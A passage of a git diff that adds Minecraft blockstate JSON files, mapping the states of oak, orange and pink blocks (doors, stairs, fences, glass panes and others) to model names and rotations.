"face=floor,facing=north,powered=false": { + "model": "minecraft:block/oak_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/oak_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/oak_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/oak_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/oak_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/oak_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/oak_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/oak_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_door.json b/src/assets/minecraft/blockstates/oak_door.json new file mode 100644 index 00000000..bbd78c25 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/oak_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/oak_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/oak_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/oak_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/oak_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/oak_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/oak_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/oak_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/oak_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/oak_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/oak_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/oak_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/oak_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/oak_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/oak_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/oak_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/oak_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/oak_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/oak_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/oak_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/oak_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/oak_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/oak_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/oak_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/oak_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/oak_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/oak_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/oak_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/oak_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/oak_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/oak_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/oak_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_fence.json b/src/assets/minecraft/blockstates/oak_fence.json new file mode 100644 index 00000000..f6be8bb3 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/oak_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/oak_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/oak_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/oak_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/oak_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_fence_gate.json b/src/assets/minecraft/blockstates/oak_fence_gate.json new file mode 100644 index 00000000..6225bbcf --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/oak_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/oak_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/oak_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/oak_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/oak_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/oak_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/oak_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/oak_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/oak_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/oak_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/oak_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/oak_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/oak_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/oak_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/oak_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/oak_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_leaves.json b/src/assets/minecraft/blockstates/oak_leaves.json new file mode 100644 index 00000000..8d60eedb --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_leaves.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/oak_leaves" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_log.json b/src/assets/minecraft/blockstates/oak_log.json new file mode 100644 index 00000000..9d3266ce --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/oak_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/oak_log" + }, + "axis=z": { + "model": "minecraft:block/oak_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_planks.json b/src/assets/minecraft/blockstates/oak_planks.json new file mode 100644 index 00000000..02780929 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/oak_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_pressure_plate.json b/src/assets/minecraft/blockstates/oak_pressure_plate.json new file mode 100644 index 00000000..6ecbfbc5 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/oak_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/oak_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_sapling.json b/src/assets/minecraft/blockstates/oak_sapling.json new file mode 100644 index 00000000..04d4cbe9 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/oak_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_sign.json b/src/assets/minecraft/blockstates/oak_sign.json new file mode 100644 index 00000000..b9f38f4f --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/oak_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_slab.json b/src/assets/minecraft/blockstates/oak_slab.json new file mode 100644 index 00000000..c503f74c --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/oak_slab" + }, + "type=double": { + "model": "minecraft:block/oak_planks" + }, + "type=top": { + "model": "minecraft:block/oak_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_stairs.json b/src/assets/minecraft/blockstates/oak_stairs.json new file mode 100644 index 00000000..0df9de62 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/oak_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/oak_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/oak_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/oak_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/oak_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/oak_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/oak_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/oak_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/oak_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/oak_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_trapdoor.json b/src/assets/minecraft/blockstates/oak_trapdoor.json new file mode 100644 index 00000000..168faf12 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_trapdoor.json @@ -0,0 +1,58 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/oak_trapdoor_bottom" + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/oak_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/oak_trapdoor_top" + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/oak_trapdoor_open", + "y": 90 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/oak_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/oak_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/oak_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/oak_trapdoor_open" + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/oak_trapdoor_bottom" + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/oak_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/oak_trapdoor_top" + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/oak_trapdoor_open", + "y": 180 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/oak_trapdoor_bottom" + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/oak_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/oak_trapdoor_top" + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/oak_trapdoor_open", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_wall_sign.json b/src/assets/minecraft/blockstates/oak_wall_sign.json new file mode 100644 index 00000000..b9f38f4f --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/oak_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_wood.json b/src/assets/minecraft/blockstates/oak_wood.json new file mode 100644 index 00000000..1eb596b8 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/oak_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/oak_wood" + }, + "axis=z": { + "model": "minecraft:block/oak_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/observer.json b/src/assets/minecraft/blockstates/observer.json new file mode 100644 index 00000000..6f54ba51 --- /dev/null +++ b/src/assets/minecraft/blockstates/observer.json @@ -0,0 +1,50 @@ +{ + "variants": { + "facing=down,powered=false": { + "model": "minecraft:block/observer", + "x": 90 + }, + "facing=down,powered=true": { + "model": "minecraft:block/observer_on", + "x": 90 + }, + "facing=east,powered=false": { + "model": "minecraft:block/observer", + "y": 90 + }, + "facing=east,powered=true": { + "model": "minecraft:block/observer_on", + "y": 90 + }, + "facing=north,powered=false": { + "model": "minecraft:block/observer" + }, + "facing=north,powered=true": { + "model": "minecraft:block/observer_on" + }, + "facing=south,powered=false": { + "model": "minecraft:block/observer", + "y": 180 + }, + "facing=south,powered=true": { + "model": "minecraft:block/observer_on", + "y": 180 + }, + "facing=up,powered=false": { + "model": "minecraft:block/observer", + "x": 270 + }, + "facing=up,powered=true": { + "model": "minecraft:block/observer_on", + "x": 270 + }, + "facing=west,powered=false": { + "model": "minecraft:block/observer", + "y": 270 + }, + "facing=west,powered=true": { + "model": "minecraft:block/observer_on", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/obsidian.json b/src/assets/minecraft/blockstates/obsidian.json new file mode 100644 index 00000000..28d39dfd --- /dev/null +++ b/src/assets/minecraft/blockstates/obsidian.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/obsidian" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_banner.json b/src/assets/minecraft/blockstates/orange_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_bed.json b/src/assets/minecraft/blockstates/orange_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_carpet.json b/src/assets/minecraft/blockstates/orange_carpet.json new file mode 100644 index 00000000..37ac6ac4 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_concrete.json b/src/assets/minecraft/blockstates/orange_concrete.json new file mode 100644 index 00000000..e88cada0 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_concrete_powder.json b/src/assets/minecraft/blockstates/orange_concrete_powder.json new file mode 100644 index 00000000..9637378d --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/orange_concrete_powder" + }, + { + "model": "minecraft:block/orange_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/orange_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/orange_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_glazed_terracotta.json b/src/assets/minecraft/blockstates/orange_glazed_terracotta.json new file mode 100644 index 00000000..abdb57a3 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/orange_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/orange_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/orange_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/orange_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_shulker_box.json b/src/assets/minecraft/blockstates/orange_shulker_box.json new file mode 100644 index 00000000..0bc75690 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_stained_glass.json b/src/assets/minecraft/blockstates/orange_stained_glass.json new file mode 100644 index 00000000..93c651a5 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_stained_glass_pane.json b/src/assets/minecraft/blockstates/orange_stained_glass_pane.json new file mode 100644 index 00000000..929c41f6 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/orange_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_terracotta.json b/src/assets/minecraft/blockstates/orange_terracotta.json new file mode 100644 index 00000000..6d644c41 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_tulip.json b/src/assets/minecraft/blockstates/orange_tulip.json new file mode 100644 index 00000000..8aac68c8 --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_wall_banner.json b/src/assets/minecraft/blockstates/orange_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/orange_wool.json b/src/assets/minecraft/blockstates/orange_wool.json new file mode 100644 index 00000000..ae3fabee --- /dev/null +++ b/src/assets/minecraft/blockstates/orange_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/orange_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oxeye_daisy.json b/src/assets/minecraft/blockstates/oxeye_daisy.json new file mode 100644 index 00000000..fa815c22 --- /dev/null +++ b/src/assets/minecraft/blockstates/oxeye_daisy.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/oxeye_daisy" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/packed_ice.json b/src/assets/minecraft/blockstates/packed_ice.json new file mode 100644 index 00000000..b395c21e --- /dev/null +++ b/src/assets/minecraft/blockstates/packed_ice.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/packed_ice" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/peony.json b/src/assets/minecraft/blockstates/peony.json new file mode 100644 index 00000000..c97072d5 --- /dev/null +++ b/src/assets/minecraft/blockstates/peony.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/peony_bottom" + }, + "half=upper": { + "model": "minecraft:block/peony_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/petrified_oak_slab.json b/src/assets/minecraft/blockstates/petrified_oak_slab.json new file mode 100644 index 00000000..98db0a12 --- /dev/null +++ b/src/assets/minecraft/blockstates/petrified_oak_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/petrified_oak_slab" + }, + "type=double": { + "model": "minecraft:block/oak_planks" + }, + "type=top": { + "model": "minecraft:block/petrified_oak_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_banner.json b/src/assets/minecraft/blockstates/pink_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_bed.json b/src/assets/minecraft/blockstates/pink_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_carpet.json b/src/assets/minecraft/blockstates/pink_carpet.json new file mode 100644 index 00000000..c9a49aed --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_concrete.json b/src/assets/minecraft/blockstates/pink_concrete.json new file mode 100644 index 00000000..3beebd45 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_concrete_powder.json b/src/assets/minecraft/blockstates/pink_concrete_powder.json new file mode 100644 index 00000000..c6f09205 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/pink_concrete_powder" + }, + { + "model": "minecraft:block/pink_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/pink_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/pink_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_glazed_terracotta.json 